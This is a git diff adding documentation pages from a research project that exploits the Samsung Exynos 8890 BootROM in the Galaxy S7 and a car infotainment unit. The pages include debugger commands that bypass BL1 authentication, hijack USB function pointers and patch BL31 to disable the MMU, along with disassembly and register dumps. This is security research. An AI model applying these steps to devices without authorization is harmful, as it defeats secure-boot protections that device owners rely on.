<p>Set link register to debugger and jump into the boot USB (<em>0x000064e0</em>) function. <code>self.cd.arch_dbg.state.LR = DEBUGGER_ADDR</code> and then <code>self.cd.restore_stack_and_jump(0x000064e0)</code></p></li>
|
||||
<li>
|
||||
<p>Now we can send the BL1 binary to the device. <code>self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())</code>. At this point, we retain access to the debugger.</p></li>
|
||||
<li>
|
||||
<p>To patch the authentication, we set X0 and X1 to 1, then again set the link register to the debugger, and jump into the authentication function at <code>0x00012848</code>. <code>self.cd.arch_dbg.state.X0 = 1</code> and <code>self.cd.arch_dbg.state.X1 = 1</code> and <code>self.cd.arch_dbg.state.LR = lr</code> and then <code>self.cd.restore_stack_and_jump(0x00012848)</code></p></li>
|
||||
<li>
|
||||
<p>We flush the cache <code>self.usb_write(b"FLSH")</code> (Frederic did this as well).</p></li>
|
||||
<li>
|
||||
<p>Now we hijack the USB download function to jump back to the debugger. <code>self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR))</code> and <code>self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))</code></p></li>
|
||||
<li>
|
||||
<p>And finally, we again restore our link register to the debugger, and jump into BL1 <code>self.cd.restore_stack_and_jump(0x000002c0)</code></p></li>
|
||||
</ul>
|
||||
<p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="initial_boot_function.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">Overview of the initial boot function in the Exynos 8890.</p>
|
||||
</p>
|
||||
<p>At this point, after loading and executing BL1, the device returns to the debugger. Normally, the device would boot into BL1, and would then wait for the next boot stage to be sent over USB. But because we hijacked the USB return address pointer, the device returns to the debugger.</p><p>Regarding auth_bl1: Initially we thought that 0x0 indicated a verified boot state (as is plausible when reading the decompiled code in Ghidra). But after modifying BL1 in the header and contents, this value did not change.</p><ac:structured-macro ac:name="info">
|
||||
<ac:rich-text-body><p>git commit 8cb5f2e1 fully boots, you can use this commit to patch BL1 only.</p></ac:rich-text-body>
|
||||
</ac:structured-macro>
|
||||
<h2>Stage 3 - BL31</h2>
|
||||
<h3>Initial boot through BL31</h3>
|
||||
<p>Next up is BL31, which is loaded by BL1. BL31 is written at <code>0x02024000</code> with the entry point at <code>0x02024010</code>, it ends at <code>0x02048000</code>. <code>BL31</code> is the secure monitor. The monitor uses memory that is also being used by the debugger, so we will have to relocate it to keep code exeuction.</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="bl31_debugger_memory_example.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">Example of BL31 using memory from the initial debugger.</p>
|
||||
</p>
|
||||
<p>BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage (preparation for trustzone?). Here we decided to move the debugger to 0x02048000, as this space is still accessible after BL31, but this space will get overwritten by BL2.</p><p>At this point we switched our approach to booting the device, as we were unable to keep the debugger alive throughout the boot chain. We now boot the device normally, and then try to get our debugger after booting each stage. Because of this, we didn’t need to modify a lot after BL1. Essentially all we did was:</p><ul>
|
||||
<li>
|
||||
<p>Set the link register to the debugger: <code>self.cd.arch_dbg.state.LR = DEBUGGER_ADDR</code></p></li>
|
||||
<li>
|
||||
<p>Jump into our hijacked USB function: <code>self.cd.restore_stack_and_jump(hijacked_fun)</code></p></li>
|
||||
<li>
|
||||
<p>Send BL31: <code>self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())</code></p></li>
|
||||
<li>
|
||||
<p>Continue a function that BL1 called via the USB: <code>self.cd.restore_stack_and_jump(0x2022948)</code></p></li>
|
||||
<li>
|
||||
<p>Jump into BL31: <code>self.cd.restore_stack_and_jump(0x02024010)</code></p></li>
|
||||
</ul>
|
||||
<p>This boot process restores us to the debugger, but after this, we’re unable to access most memory spaces. Notably, we tried getting access to the TTBR0_EL3. But something prohibits us reading there. We weren’t able to find any executable space that was still available, for after BL2. BL2 would overwrite our debugger at this point.</p><h3>Patching BL31</h3>
|
||||
<p>While looking for flags which were used for the MMU, we found a function at <code>0x020244e8</code> which we were able to turn off, but which still allowed a full boot into recovery. The MMU however stated to being disabled.</p><ul>
|
||||
<li>
|
||||
<p>get special registers: <code>self.cd.arch_dbg.fetch_special_regs()</code></p></li>
|
||||
<li>
|
||||
<p>MMU state: <code>self.cd.arch_dbg.state.R_SCTLR_EL3.mmu</code></p></li>
|
||||
</ul>
|
||||
<p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="turn_off_MMU_but_good_boot_0x020244e8.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">Function patheable that turns off MMU, but keeps boot intact.</p>
|
||||
</p>
|
||||
<p>Additionally we found a space at <code>0x11207010</code>, while looking for bit flags in ghidra, which seemed to be a memory read/write space. This space was not executable, unless the MMU was turned off. We used this space to store our debugger, then before booting BL31, we patched the if-statement above to disable the MMU. And booted.</p><ul>
|
||||
<li>
|
||||
<p>Patch if-statement to not be met: <code>self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1))</code></p></li>
|
||||
<li>
|
||||
<p>Jump into BL31: <code>self.cd.restore_stack_and_jump(0x02024010)</code></p></li>
|
||||
</ul>
|
||||
<h2>Stage 4 - BL2</h2>
|
||||
<p>This is our current progress. BL2 has booted, and shows the VBAR’s for EL1.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">bash</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[MMU is 0x0 (0x1=enabled, 0x0=disabled)
|
||||
TTBR0_EL3: 0xbc4650892f1460, TTBR1_EL2: 0xc54d39cb66f0, TTBR0_EL1: 0xa5c20fc0ac581142
|
||||
VBAR_EL3: 0x2031800, VBAR_EL2: 0x0, VBAR_EL1: 0x2053800
|
||||
TCR_EL3: 0x0, TCR_EL2: 0x80800000, TCR_EL1: 0x0
|
||||
SCTLR_EL3: 0xc5183a, SCTLR_EL2: 0x30c5083a, SCTLR_EL1: 0x30c5083a
|
||||
MAIR_EL3: 0x44e048e000098aa4, MAIR_EL2: 0x1e42bb572931240b, MAIR_EL1: 0x44e048e000098aa4
|
||||
Current EL: 0xc]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<h2>Stage 5 - BL33</h2>
|
||||
<p>The last stage before the kernel boots.</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="bl31_debugger_memory_example.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">Boot chain with EL3 and EL1 areas</p>
|
||||
</p>
|
143
documentation/_build/confluence/BootROM_8890/04_notes.conf
Normal file
143
documentation/_build/confluence/BootROM_8890/04_notes.conf
Normal file
@ -0,0 +1,143 @@
|
||||
<p>General notes on interesting/peculiar things found on the S7 USB recovery boot process</p><h2>Emulator</h2>
|
||||
<p>What is interesting about the ROM is that it starts by checking MPIDR_EL1 register and doing a conditional branch to 0x20e0000.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">bash</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[ undefined w0:1 <RETURN>
|
||||
Reset XREF[1]: Entry Point(*)
|
||||
00000000 bb 00 38 d5 mrs x27,mpidr_el1
|
||||
00000004 7b 0f 78 92 and x27,x27,#0xf00
|
||||
00000008 7f 03 00 f1 cmp x27,#0x0
|
||||
0000000c 41 00 00 54 b.ne LAB_00000014
|
||||
00000010 fc 7f 83 14 b LAB_020e0000]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<h2>BL1 peculiarities</h2>
|
||||
<p>At this point, we assumed that the authentication was succesful, and the bootROM would jump back to the debugger after loading, but this was not the case. After running this function, we were able to send a single packet, but never received a response. Indicating that the function we were executing never returned on us.</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="bl1_auth_references.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">BL1 authentication</p>
|
||||
</p>
|
||||
<p>If authentication at auth_bl1 is succesful, the returns a value from a function at <code>1230c</code>. This function does some things, but eventually jumps to a function at:</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="bl1_auth_follow-up_1230c.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">BL1 authentication</p>
|
||||
</p>
|
||||
<p>After authentication the bootROM jumps to this function at, we can execute this function with the debugger.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">python</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[self.cd.memwrite_region(0x02020f60, p32(0x020c0000))
|
||||
BOOT_BL1 = 0x00019310
|
||||
def jump_bl1(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(BOOT_BL1)
|
||||
|
||||
jump_bl1(0x020c0000)
|
||||
|
||||
jump_fwbl1()]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>BL1 is loaded at the download buffer and self copies to <code>0x02022000</code> and resumes execution there, with a size of 0x2000 (<code>0x02022000</code> to <code>0x02024000</code>).</p><p>However, this does not result in a jump back to the debugger. But the ROM still allows receival of one data package from the USB host (this is likely the system ‘waiting’ to receive the bootloader).</p><p>By adding the IMEM to ghidra, we can have a look at what is going here. After having modified the LR to jump back to the debugger and jumping into auth_bl1 at <code>0x00012848</code> we jump back to the debugger. Jumping into BL1 at <code>2c0</code> does not return us to the debugger. Here we need to hijack <code>020200dc</code> and <code>02021880</code> we’re able to boot into BL1. We store the address of the hijacked function, to restore it later for a proper boot flow.</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">python</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[auth_bl1(DEBUGGER_ADDR)
|
||||
self.usb_write(b"FLSH") # Flush cache
|
||||
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
||||
|
||||
# BL1 patches
|
||||
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
||||
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>Authentication of BL1 seems to be done at <code>0x0012848</code>. With return value ‘0’ expected when this function is executed, to execute other functions.</p><p><ac:image ac:align="center">
|
||||
<ri:attachment ri:filename="bl1_auth_references.png"></ri:attachment>
|
||||
</ac:image><p style="clear: both;text-align: center;">BL1 authentication.</p>
|
||||
</p>
|
||||
<h3>purpose</h3>
|
||||
<p>bl1 interacts with several pheriperals, from the DTB these are:</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">bash</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[/* FSYS0 */
|
||||
pinctrl_5: pinctrl@10E60000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x10E60000 0x1000>;
|
||||
interrupts = <0 212 0>;
|
||||
};
|
||||
|
||||
/* FSYS1 */
|
||||
pinctrl_6: pinctrl@15690000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x15690000 0x1000>;
|
||||
interrupts = <0 202 0>;
|
||||
};
|
||||
|
||||
/* PERIC1 */
|
||||
pinctrl_9: pinctrl@14CC0000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x14CC0000 0x1000>;
|
||||
interrupts = <0 460 0>;
|
||||
};
|
||||
|
||||
pmu_system_controller: system-controller@105C0000 {
|
||||
compatible = "samsung,exynos8890-pmu", "syscon";
|
||||
reg = <0x0 0x105C0000 0x10000>;
|
||||
};
|
||||
|
||||
rtc@10070000 {
|
||||
compatible = "samsung,s3c6410-rtc";
|
||||
reg = <0x0 0x10070000 0x100>;
|
||||
interrupts = <0 73 0>, <0 74 0>;
|
||||
clocks = <&clock 157>;
|
||||
clock-names = "gate_rtc";
|
||||
};]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>Probably the only thing it does is set some clocks and prepare for BL31.</p><p>The reason for this is the following code in bl1:</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">cpp</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[iVar3 = FUN_02024320();
|
||||
if (iVar3 == 1) {
|
||||
(*(code *)(ulong)uRam0000000002020108)(0,1);
|
||||
}]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it’s done. This function is at address <code>0x020200e8</code>, looking in our IMEM dump we can see where in the ROM this points to:</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">cpp</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[ DAT_02020108 XREF[2]: FUN_00001708:000018b4(W),
|
||||
FUN_02021970:02021a40(R)
|
||||
02020108 90 57 00 00 undefined4 00005790h]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>Replacing this function with our debugger makes us jump back:</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">python</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[# Overwrite jump back
|
||||
self.cd.memwrite_region(0x02020108, p32(0x2069000))
|
||||
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
|
||||
|
||||
def jump_bl1():
|
||||
self.cd.arch_dbg.state.LR = 0x2069000
|
||||
self.cd.restore_stack_and_jump(0x02024010)
|
||||
# self.cd.restore_stack_and_jump(0x02021810)
|
||||
|
||||
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02024000, bl1)
|
||||
self.usb_write(b"FLSH")
|
||||
|
||||
# auth_bl1()
|
||||
jump_bl1()
|
||||
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
|
||||
root | DEBUG |
|
||||
X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
|
||||
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
|
||||
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
|
||||
X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||
X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<p>However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.</p><h2>Week 35 - 2024</h2>
|
||||
<p>After booting BL31, the MMU seems to be set up, and we’re unable to do get any data off of spaces we’re not ‘allowed’ to access. Patching the if-statement at 0x020244e8, disables the bit that says that the MMU is setup, but booting into recovery is possible (meaning the MMU is setup). Additionally, the memory at 0x02035600 is still not dumpable. At 0x02048000 is still accessible.</p><p>Weird space found at 0x105c2400. Seems to contain references to usb buffer (about 48-64 bytes). Also space at 0x020307f0, but I lose access to this after booting</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">python</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[self.cd.memdump_region(0x105c2400, 0x40).hex()
|
||||
'0f0f00000f0008002100000000000000ffffffffffffffffffffffffffffffff0f0f00000f0008002101000000000000ffffffffffffffffffffffffffffffff']]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
||||
<h2>Week 36 - 2024</h2>
|
||||
<p>Interesting links: - <a href="https://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow.html">Heap overflow</a> - <a href="https://grimler.se/posts/exynos-uart/">UART on S8</a></p><p>By accident found space at 0x11207010. Seems to be a memory read/write space. Not executable however, unless the MMU is turned off.</p><p>We can use this space to store our debugger, and patch the boot process. After loading BL2, we’re now indeed loading VBAR’s for EL1.</p><p>bl31 MMU is 0x0 (0x1=enabled, 0x0=disabled) TTBR0_EL3: 0xbc4640892f1460, TTBR1_EL2: 0x854d39cb76f0, TTBR0_EL1: 0xa5c20f408c581142 VBAR_EL3: 0x18800, VBAR_EL2: 0x0, VBAR_EL1: 0x0 TCR_EL3: 0x0, TCR_EL2: 0x80800000, TCR_EL1: 0x0 SCTLR_EL3: 0xc5183a, SCTLR_EL2: 0x30c5083a, SCTLR_EL1: 0xc5083a MAIR_EL3: 0x44e048e000098aa4, MAIR_EL2: 0x9e42bf572931240b, MAIR_EL1: 0x44e048e000098aa4 Current EL: 0xc</p><p>Jumped to 0x11207010 and back</p><p>bL2 [+] Sent stage Connected device! 0x4e8 0x1234 MMU is 0x0 (0x1=enabled, 0x0=disabled) TTBR0_EL3: 0xbc4640892f1460, TTBR1_EL2: 0x854d39cb76f0, TTBR0_EL1: 0xa5c20f408c581142 VBAR_EL3: 0x2031800, VBAR_EL2: 0x0, VBAR_EL1: 0x2053800 TCR_EL3: 0x0, TCR_EL2: 0x80800000, TCR_EL1: 0x0 SCTLR_EL3: 0xc5183a, SCTLR_EL2: 0x30c5083a, SCTLR_EL1: 0x30c5083a MAIR_EL3: 0x44e048e000098aa4, MAIR_EL2: 0x9e42bf572931240b, MAIR_EL1: 0x44e048e000098aa4 Current EL: 0xc</p><p>The debugger at 0x11200000 can only dump 0x768 at a time (its space related. Before BL31 this is also an issue.).</p><p>There’s an odd space at 0x14kk. With things like deadcafe:</p><ac:structured-macro ac:name="code">
|
||||
<ac:parameter ac:name="language">python</ac:parameter>
|
||||
<ac:parameter ac:name="linenumbers">false</ac:parameter>
|
||||
<ac:plain-text-body><![CDATA[1c0000000000000000000000fecaadde00000000fecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddefecaaddef]]></ac:plain-text-body>
|
||||
</ac:structured-macro>
|
8
documentation/_build/confluence/_static/drawio.css
Normal file
8
documentation/_build/confluence/_static/drawio.css
Normal file
@ -0,0 +1,8 @@
|
||||
img.drawio {
|
||||
border: 0;
|
||||
max-width: 100%;
|
||||
}
|
||||
|
||||
object.drawio {
|
||||
max-width: 100%;
|
||||
}
|
111
documentation/_build/confluence/index.conf
Normal file
111
documentation/_build/confluence/index.conf
Normal file
@ -0,0 +1,111 @@
|
||||
<p>Documentation on Samsung devices, currently mainly the Samsung S7. Here we’re exploiting the Exynos 8890, which is present on both the Samsung S7 and the MIB3 High (VAG).</p><p style="clear: both;">BootROMs:</p>
|
||||
<ul>
|
||||
<li>
|
||||
<ac:link>
|
||||
<ri:page ri:content-title="Start/Home" />
|
||||
<ac:link-body>Start/Home</ac:link-body>
|
||||
</ac:link><ul>
|
||||
<li>
|
||||
<ac:link ac:anchor="Protections">
|
||||
<ri:page ri:content-title="Start/Home" />
|
||||
<ac:link-body>Protections</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="SamsungFirmware">
|
||||
<ri:page ri:content-title="Start/Home" />
|
||||
<ac:link-body>Samsung Firmware</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="MemoryLayout">
|
||||
<ri:page ri:content-title="Start/Home" />
|
||||
<ac:link-body>Memory Layout</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="Downloadprotocol">
|
||||
<ri:page ri:content-title="Start/Home" />
|
||||
<ac:link-body>Download protocol</ac:link-body>
|
||||
</ac:link></li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<ac:link>
|
||||
<ri:page ri:content-title="Frederic’s Exploit" />
|
||||
<ac:link-body>Frederic’s Exploit</ac:link-body>
|
||||
</ac:link><ul>
|
||||
<li>
|
||||
<ac:link ac:anchor="USBStackinBootROM">
|
||||
<ri:page ri:content-title="Frederic’s Exploit" />
|
||||
<ac:link-body>USB Stack in BootROM</ac:link-body>
|
||||
</ac:link></li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<ac:link>
|
||||
<ri:page ri:content-title="Exploit boot chain" />
|
||||
<ac:link-body>Exploit boot chain</ac:link-body>
|
||||
</ac:link><ul>
|
||||
<li>
|
||||
<ac:link ac:anchor="Generaloverview">
|
||||
<ri:page ri:content-title="Exploit boot chain" />
|
||||
<ac:link-body>General overview</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="Debuggers">
|
||||
<ri:page ri:content-title="Exploit boot chain" />
|
||||
<ac:link-body>Debuggers</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="Stage1-Initialexploit">
|
||||
<ri:page ri:content-title="Exploit boot chain" />
|
||||
<ac:link-body>Stage 1 - Initial exploit</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="Stage2-BL1">
|
||||
<ri:page ri:content-title="Exploit boot chain" />
|
||||
<ac:link-body>Stage 2 - BL1</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="Stage3-BL31">
|
||||
<ri:page ri:content-title="Exploit boot chain" />
|
||||
<ac:link-body>Stage 3 - BL31</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="Stage4-BL2">
|
||||
<ri:page ri:content-title="Exploit boot chain" />
|
||||
<ac:link-body>Stage 4 - BL2</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="Stage5-BL33">
|
||||
<ri:page ri:content-title="Exploit boot chain" />
|
||||
<ac:link-body>Stage 5 - BL33</ac:link-body>
|
||||
</ac:link></li>
|
||||
</ul>
|
||||
</li>
|
||||
<li>
|
||||
<ac:link>
|
||||
<ri:page ri:content-title="Notes" />
|
||||
<ac:link-body>Notes</ac:link-body>
|
||||
</ac:link><ul>
|
||||
<li>
|
||||
<ac:link ac:anchor="Emulator">
|
||||
<ri:page ri:content-title="Notes" />
|
||||
<ac:link-body>Emulator</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="BL1peculiarities">
|
||||
<ri:page ri:content-title="Notes" />
|
||||
<ac:link-body>BL1 peculiarities</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="Week35-2024">
|
||||
<ri:page ri:content-title="Notes" />
|
||||
<ac:link-body>Week 35 - 2024</ac:link-body>
|
||||
</ac:link></li>
|
||||
<li>
|
||||
<ac:link ac:anchor="Week36-2024">
|
||||
<ri:page ri:content-title="Notes" />
|
||||
<ac:link-body>Week 36 - 2024</ac:link-body>
|
||||
</ac:link></li>
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
BIN
documentation/_build/confluence/objects.inv
Normal file
BIN
documentation/_build/confluence/objects.inv
Normal file
Binary file not shown.
File diff suppressed because one or more lines are too long
After Width: | Height: | Size: 11 KiB |
@ -0,0 +1,2 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="221px" height="212px" viewBox="-0.5 -0.5 221 212" content="<mxfile host="04n1rgtnob7ebrhhg57mh2mjuh68d4qe61ncs1a2e1n2no0ifp02" modified="2024-08-03T09:24:03.282Z" agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Code/1.90.2 Chrome/122.0.6261.156 Electron/29.4.0 Safari/537.36" etag="4yVHPhEEQZpE4jmcyLS-" version="12.2.4" pages="1"><diagram id="94hHFOWSBfnqqOcBf2es" name="Page-1">vZZNc6QgEIZ/DXeV0dFrJtnsJac55JhCaJUalCkG48z++kUFP6JJprbMehHe7obmoUERPpTXZ0XOxYtkIFDgsSvCjygI/CBJzKtVbr0SJl4v5Ioz6zQKR/4HrOjcas7gMnPUUgrNz3ORyqoCqmcaUUo2c7dMivmsZ5LDQjhSIpbqK2e66NU49Eb9N/C8cDP7nrWkhJ5yJevKzocCnHVPby6JG8v6XwrCZDOR8BPCByWl7lvl9QCiZeuw9XG/PrEOeSuo9D0BQR/wTkQNLuMuL31zLLrVQOvvIfzQFFzD8Uxoa23M7hut0KUwPd80My7EQQqpulizdogoNfpFK3mCiYXtk9RrB1xmbBfxDkrDdSLZFTyDLEGrm3FxVkffVpsrtmbcugF4Mdm2odyILZd8GHpEZhqW2jpBvCBY80rj4E0bta5Om/JkBOJslWdEY0izjXj63/P01nhugHP3FU5GNHm7tLfFplBDiNluDWocpDiKfgbq0P8fVKMF1RYlCh9Q+LjtgY8prB/4NA534VYH/iNLfCdLP9oA5n61RP2oK9HMXN2gNmUKvqnQ/RrTJNpj8kP1efep/4dL1HTHT1xnm/xH4Ke/</diagram></mxfile>" style="background-color: rgb(255, 255, 255);"><defs/><g><rect x="0" y="0" width="220" height="210" fill="#ffe6cc" stroke="#d79b00" pointer-events="all"/><rect x="10" y="0" width="200" height="20" fill="#dae8fc" stroke="#6c8ebf" pointer-events="all"/><g transform="translate(77.5,3.5)"><foreignObject style="overflow:visible;" pointer-events="all" width="65" height="12"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; width: 66px; white-space: nowrap; overflow-wrap: normal; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;white-space:normal;">uint32_t unk</div></div></foreignObject></g><rect x="10" y="20" width="200" height="20" fill="#d5e8d4" stroke="#82b366" pointer-events="all"/><g transform="translate(61.5,23.5)"><foreignObject style="overflow:visible;" pointer-events="all" width="97" height="12"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; width: 98px; white-space: nowrap; overflow-wrap: normal; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;white-space:normal;">uint32_t data_size</div></div></foreignObject></g><rect x="10" y="40" width="200" height="160" fill="#f8cecc" stroke="#b85450" pointer-events="all"/><g transform="translate(94.5,113.5)"><foreignObject style="overflow:visible;" pointer-events="all" width="30" height="12"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; width: 31px; white-space: nowrap; overflow-wrap: normal; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;white-space:normal;">data[]</div></div></foreignObject></g><rect x="10" y="200" width="200" height="10" fill="#e1d5e7" stroke="#9673a6" pointer-events="all"/><g transform="translate(71.5,198.5)"><foreignObject style="overflow:visible;" pointer-events="all" width="77" height="12"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 12px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; width: 78px; white-space: nowrap; overflow-wrap: normal; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;white-space:normal;">uint16_t footer</div></div></foreignObject></g></g></svg>
|
After Width: | Height: | Size: 4.0 KiB |
Binary file not shown.
@ -4,6 +4,7 @@ Start/Home
|
||||
The Exynos 8890 BootROM is a small piece of code that runs on the Exynos SoC at boot runtime. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified.
|
||||
|
||||
Useful links:
|
||||
|
||||
- `DTSI files for exynos8890 <https://github.com/LineageOS/android_kernel_samsung_universal8890/tree/lineage-18.1/arch/arm64/boot/dts>`_
|
||||
- `Frederic exynos-usbdl on Github <https://github.com/frederic/exynos-usbdl/tree/master>`_'
|
||||
- `Exynos8890 usbdl-recovery images/firmwares <https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery>`_
|
||||
|
@ -3,6 +3,8 @@ Frederic's Exploit
|
||||
==================
|
||||
Frederic published a blogpost on reversing the `USB stack of the Exynos BootROM <https://fredericb.info/2020/06/reverse-engineer-usb-stack-of-exynos-bootrom.html#reverse-engineer-usb-stack-of-exynos-bootrom>`_ and a blogpost on exploiting the `Exynos 8890 BootROM <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_. Here we will discuss the exploit in more detail.
|
||||
|
||||
The code can be found in the `exynos-usbdl repository <https://github.com/frederic/exynos-usbdl/tree/master>`_.
|
||||
|
||||
USB Stack in BootROM
|
||||
--------------------
|
||||
